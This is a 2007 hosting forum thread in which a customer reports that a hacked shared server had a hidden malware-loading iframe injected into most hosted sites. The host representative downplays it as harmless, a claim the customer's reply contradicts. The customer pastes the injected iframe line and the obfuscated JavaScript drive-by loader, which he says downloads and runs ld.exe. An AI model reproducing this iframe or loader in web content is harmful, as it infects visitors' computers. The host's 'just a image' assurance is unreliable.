UK WEB HOSTING FORUM FOR DISCUSSION ON WEB HOSTING SERVICE AND SUPPORT
LINUX HOSTING WINDOWS HOSTING PACKAGES SHOPPING CART OSCOMMERCE ZEN CART AGORA
ECOMMERCE HOSTING ASP MSSQL FRONTPAGE HOSTING PHP MYSQL HOSTING DISCUSSION FORUM
CPANEL RESELLER HOSTING DEDICATED SERVER VPS HOSTING PLESK VIRTUOZZO
Quick Search
Your forum announcement here!

  UK Web Hosting | Dedicated Server Windows and Linux VPS Forum > Technical Support > cPanel Reseller Hosting

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 03-01-2007, 13:07
DavidAllen's Avatar
Premium Member
 
Join Date: Jan 2007
Location: Amersham
Posts: 331
Send a message via MSN to DavidAllen Send a message via Skype™ to DavidAllen
Default Malware Links on Server

I reported before Xmas (16th Dec) that the server 64.38.20.218 had been hacked and a line of code that attempted to d/load malware had been added to virtually every domain on that server.
Since then the only response I have had is an email from Andy in Tech Support saying they were passing it on to 'Senior Admin'. I have requested more information several times, but nothing.
The line of code that was added to the websites was:
iframe src="http://mortimercomprehensive.co.uk/images/opennight/thumbs/tmp1/index.php" frameborder=0 border=0 height=0 width=0 style="display: none"></iframe>
This eventually leads to a page with encrypted code that d/loads nasty malware to the users computer.
To my mind this is a serious issue.
The server has been hacked on at least 2 (probably 3) separate occasions.
EUK have partially cleaned up by replacing mortimercomprehensive.co.uk with google.co.uk on some of the websites - but several still remain with the original intact and still infecting visitors to those websites.
What is happening EUK???
Reply With Quote
  #2 (permalink)  
Old 03-01-2007, 13:22
eUKhost.com's Avatar
Chief Marketing Officer
 
Join Date: Sep 2005
Posts: 4,261
Send a message via AIM to eUKhost.com Send a message via MSN to eUKhost.com
Default

We had tried to upgrade kernel on this server couple of times in last 3 months but evertime the upgrade failed.

Our Senior System admins as well as some other well known system admins failed to complete the upgrade. Someone managed to exploit the old kernel and ran mass injection script which added iframe code in index pages of all websites hosted on the server.

We have system admins who are experts in kernel upgrade but the typical make of this server was responsible for failure of the upgrade. We managed to successfully upgrade the kernel version on 26th Dec 2006 and now the server is safe. We've also found the website which was targetted to run this mass injection script and that account was previously terminated from the server.

We cannot give such updates to all customers hosted on respective servers and most of the customers have no knowledge of kernel or linux and such minor problems may raise questions in their minds.

We ran replace command to replace the injection with google.co.uk twice in the month of december. This injection was getting executed in IE only and it was just a image and there were no virus website links or anything harmful for visitors computer.

This should not be considered any hacking attempt or any major problem as iframe code injection is much different from root exploit or hacking.
__________________
UK Web Hosting || Business Hosting || eUKhost Knowledgebase
Toll Free : 0808 262 0255 || MSN : mark @ eukhost.com || AIM : eukmark
A bunch of Sheep led by a Lion is better than a bunch of Lions led by a Sheep.
__________________________________________________

Great Opportunity :: Join our Affiliate Program for FREE and earn 20% commission on each referral.
Reply With Quote
  #3 (permalink)  
Old 03-01-2007, 13:36
DavidAllen's Avatar
Premium Member
 
Join Date: Jan 2007
Location: Amersham
Posts: 331
Send a message via MSN to DavidAllen Send a message via Skype™ to DavidAllen
Default

The code is still on several websites on that server - so the replace command needs re-running.
It doesn't just lead to 'just a image' it leads to a page with another hidden iframe which displays a page (mn.html) with the following code on it:
script language=JavaScript>eval(unescape('var%20codelock_ bas%3D%27ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmno pqrstuvwxyz0123456789%2B%2F%27%3B%20function%20cod elock_dec%28str%29%20%7B%20str%3Dstr.split%28%27%4 0%27%29.join%28%27CAg%27%29%3B%20str%3Dstr.split%2 8%27%21%27%29.join%28%27W5%27%29%3B%20str%3Dstr.sp lit%28%27%2A%27%29.join%28%27CAgI%27%29%3B%20var%2 0bt%2C%20dt%20%3D%20%27%27%3B%20for%28i%3D0%3B%20i %3Cstr.length%3B%20i%20%2B%3D%204%29%20%7B%20bt%20 %3D%20%28codelock_bas.indexOf%28str.charAt%28i%29% 29%20%26%200xff%29%20%3C%3C18%20%7C%20%28codelock_ bas.indexOf%28str.charAt%28i%20%2B1%29%29%20%26%20 0xff%29%20%3C%3C12%20%7C%20%28codelock_bas.indexOf %28str.charAt%28i%20%2B2%29%29%20%26%200xff%29%20% 3C%3C%206%20%7C%20codelock_bas.indexOf%28str.charA t%28i%20%2B3%29%29%20%26%200xff%3B%20dt%20%2B%3D%2 0String.fromCharCode%28%28bt%20%26%200xff0000%29%2 0%3E%3E16%2C%20%28bt%20%26%200xff00%29%20%3E%3E8%2 C%20bt%20%26%200xff%29%3B%20%7D%20if%28str.charCod eAt%28i%20-2%29%20%3D%3D%2061%29%20%7B%20return%28dt.substrin g%280%2C%20dt.length%20-2%29%29%3B%20%7D%20else%20if%28str.charCodeAt%28i% 20-1%29%20%3D%3D%2061%29%20%7B%20return%28dt.substrin g%280%2C%20dt.length%20-1%29%29%3B%20%7D%20else%20%7Breturn%28dt%29%7D%3B% 20%7D')); document.write(codelock_dec('PGh0bWw+DQo8aGVhZD4NC jxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsY!ndWFn ZT0iamF2YXNjcmlwdCI+DQp2YXIgaSA9IDA7DQp2YXIgdCA9IG 5ldyBBcnJheSgNCgknQkQ5NkM1NTYtNjVBMy0xMUQwLTk4M0Et MDBDMDRGQzI5RTM2JywNCgknQUI5QkNFREQtRUM3RS00N0UxLT kzMjItRDRBMjEwNjE3MTE2JywNCgknMDAwNkYwMzMtMDAwMC0w MDAwLUMwMDAtMDAwMDAwMDAwMDQ2JywNCgknMDAwNkYwM0EtMD AwMC0wMDAwLUMwMDAtMDAwMDAwMDAwMDQ2JywNCgknNkUzMjA3 MEEtNzY2RC00RUU2LTg3OUMtREMxRkE5MUQyRkMzJywNCgknNj QxNDUxMkItQjk3OC00NTFELUEwRDgtRkNGREYzM0U4MzNDJywN CgknN0Y1QjdGNjMtRjA2Ri00MzMxLThBMjYtMzM5RTAzQzBBRT NEJywNCgknMDY3MjNFMDktRjRDMi00M2M4LTgzNTgtMDlGQ0Qx REIwNzY2JywNCgknNjM5RjcyNUYtMUIyRC00ODMxLUE5RkQtOD c0ODQ3NjgyMDEwJywNC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CgkgCQl2YXIgUyA9IENyZWF0 ZU8oeG1sLHN0cjUpOw0KCQkJaWYgKFMpIHsNCgkJCQlTLnR5cG UgPSAxOw0KCQkJCXN0cjYgPSAnR0VUJzsNCgkJCQlEb0l0KCk7 DQoJCQl9DQoJCX0NCgl9DQp9DQo8L3NjcmlwdD4NCg0KPC9ib2 R5Pg0KPC9odG1sPg==')); </script>
if you decode that lot you will find that it tries to d/load and execute a file called ld.exe which in turn d/loads further malware!!!

I appreciate you can't tell everyone on the server - but I reported the problem and was left wondering what to do - I had no information about when/if you were running your replace command so had to manually edit all the websites I control.

The code is still there on several sites!!!
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


All times are GMT. The time now is 10:06.

 

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
LinkBacks Enabled by Web Hosting 3.1.0
Copyright © 2001-2008, eUKhost.com. All rights reserved.

 
Site Map

knowledgebase articles

popular blog categories